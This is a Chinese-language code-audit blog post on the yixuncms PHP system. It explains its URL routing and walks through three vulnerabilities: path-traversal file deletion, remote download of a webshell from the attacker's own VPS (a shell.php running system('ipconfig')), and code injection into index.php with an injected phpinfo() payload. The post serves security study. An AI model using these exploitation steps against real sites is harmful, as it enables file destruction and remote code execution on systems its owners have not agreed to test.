2020-06-08
1.4k
PHP代码审计——yixuncms审计
0x01 审计入口
对于一个MVC结构而言,比较重要的就是首先弄清楚路由是怎么走的,首先看到index.php
中包含了home/index.php
,其中第106行调用了Prourl::parseUrl();
,这个函数就是用来解析Url:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php class Prourl {
static function parseUrl(){ if (isset($_SERVER['PATH_INFO'])){ $pathinfo = explode('/', trim($_SERVER['PATH_INFO'], "/")); $_GET['m'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index');
array_shift($pathinfo); $_GET['a'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index'); array_shift($pathinfo);
for($i=0; $i<count($pathinfo); $i+=2){ $_GET[$pathinfo[$i]]=$pathinfo[$i+1]; } }else{ $_GET["m"]= (!empty($_GET['m']) ? $_GET['m']: 'index'); $_GET["a"]= (!empty($_GET['a']) ? $_GET['a'] : 'index'); if($_SERVER["QUERY_STRING"]){ $m=$_GET["m"]; unset($_GET["m"]); $a=$_GET["a"]; unset($_GET["a"]); $query=http_build_query($_GET); $url=$_SERVER["SCRIPT_NAME"]."/{$m}/{$a}/".str_replace(array("&","="), "/", $query); header("Location:".$url); } } } }
|
‘PATH_INFO’
包含由客户端提供的、跟在真实脚本名称之后并且在查询语句(query string)之前的路径信息,如果存在的话。例如,如果当前脚本是通过 URL http://www.example.com/php/path_info.php/some/stuff?foo=bar 被访问,那么 $_SERVER[‘PATH_INFO’] 将包含 /some/stuff。
举个例子,假如访问http://127.0.0.1/index.php/index/hello/pid/1
,那么parseUrl()
函数会将index
解析成类名,hello
解析成方法名,pid
是参数名,1
是参数值。如果是通过GET传参的形式传入的话,那么就会先将Url转换成上面这种表示形式,再按相同的流程处理。
另外,项目中的runtime
是对网站的缓存文件,也就说假如你访问了admin后台网站,那么第二次再访问的时候就会在runtime
目录下执行,而不是进入admin
目录。
0x02 审计过程
首先用Seay和Rips工具扫描一遍,有一个大概的方向。

controls/flink.class.php
任意文件删除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| function update(){ $flink = D('flink'); if(isset($_POST['logoc'])){ $logo = $flink->downlogo($_POST['logoc']); $srclogo = PROJECT_PATH."public/uploads/logos/".$_POST["logo"]; if(file_exists($srclogo)) unlink($srclogo); }else{ $logo = $_POST["logo"]; } if($logo){ $_POST["logo"] = $logo; if($flink->update($_POST,1,1)){ $this->redirect("index"); }else{ $mess = $flink->getMsg(); if($mess == "") $mess = "您未做任何修改"; $this->mess($mess,false); $this->assign("post",$_POST); } }else{ $this->mess("LOGO下载失败,请检查URL地址是否正确",false); $this->assign("post",$_POST); } $this->display("mod"); }
|
漏洞出在第55行的unlink()
函数,参数$srclogo
是由用户POST参数logo
再拼接网站目录得到的,而且没有任何过滤,那么就很容易利用路径遍历来删除任何文件。利用方式:

models/flink.php.class
文件写入
首先通过一个危险函数file_put_contens()
定位到models/flink.class.php
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class Flink{ function downlogo($logourl){ $url = parse_url($logourl); $logoname = str_replace(".","_",$url['host']).".".array_pop(explode(".",basename($logourl))); $path = PROJECT_PATH."public/uploads/logos/"; if(!file_exists($path)){ mkdir($path); } $location = $path.$logoname; $data = file_get_contents($logourl); if(strlen($data) > 0){ file_put_contents($location,$data); return $logoname; }else{ return false; } } }
|
file_put_contents()
接收两个参数:$location
和$data
。$location
参数是通过拼接.public/uploads/logos
和$logoname
,而logoname
首先通过parse_url
把$logourl
解析成数组形式,然后再把host
字段的值中的.
替换成_
,后缀名是文件的后缀名,举个例子:加入$url=http://127.0.0.1/shell.php
,那么$logoname=127_0_0_1.php
。另外,$data
参数是通过file_get_contents()
函数读取Url中的文件内容。
全局搜索downlogo
关键字,发现controls/flink.class.php
文件中的insert()
函数调用了downlogo()
函数,通过POST的方式传参。利用方式如下:
-
第一步首先在自己的VPS中写一个shell.php
文件:
1 2 3 4 5 6 7
| <?php echo " <?php system('ipconfig'); ?> "; ?>
|
因为源代码中是通过file_get_contents()
函数读取文件内容,所以我们必须把真正的shell文件内容echo
到页面上。
-
发起请求

-
访问http://localhost/public/uploads/logos/xx_xx_xx_xx.php
classes/baseset.class.php
任意代码执行
仍然是全局搜索file_put_contents
关键字,在classes/baseset.class.php
文件中
1 2 3 4 5 6 7 8 9
| static function writeindex($style,$start){ $file=PROJECT_PATH."index.php"; $content=file_get_contents($file); $reg[]="/define\(\"TPLSTYLE\".+?;/i"; $reg[]="/define\(\"CSTART\".+?;/i"; $rep[]="define(\"TPLSTYLE\",\"{$style}\");"; $rep[]="define(\"CSTART\",\"{$start}\");"; file_put_contents($file, preg_replace($reg, $rep, $content)); }
|
简单来讲,writeindex()
函数就是将index.php
中的两个常量TPLSTYLE
和CSTART
的值分别替换成$style
和$start
。
1 2 3 4 5 6
| <?php define("CSTART","0"); define("TPLSTYLE","default"); define("APP", "./home"); require "./php/index.php"; ?>
|
如果$start=0"); <?php phpinfo(); ?> <?php //
,那么就变成了:
1 2
| <?php define("CSTART","0"); <?php phpinfo(); ?> <?php
|
这样就造成了代码执行漏洞。
那么我们来看看哪些地方调用了writeindex()
函数:

再全局搜索writeindex()
函数:

利用方式:

0x03 常见函数
代码执行函数

文件相关函数
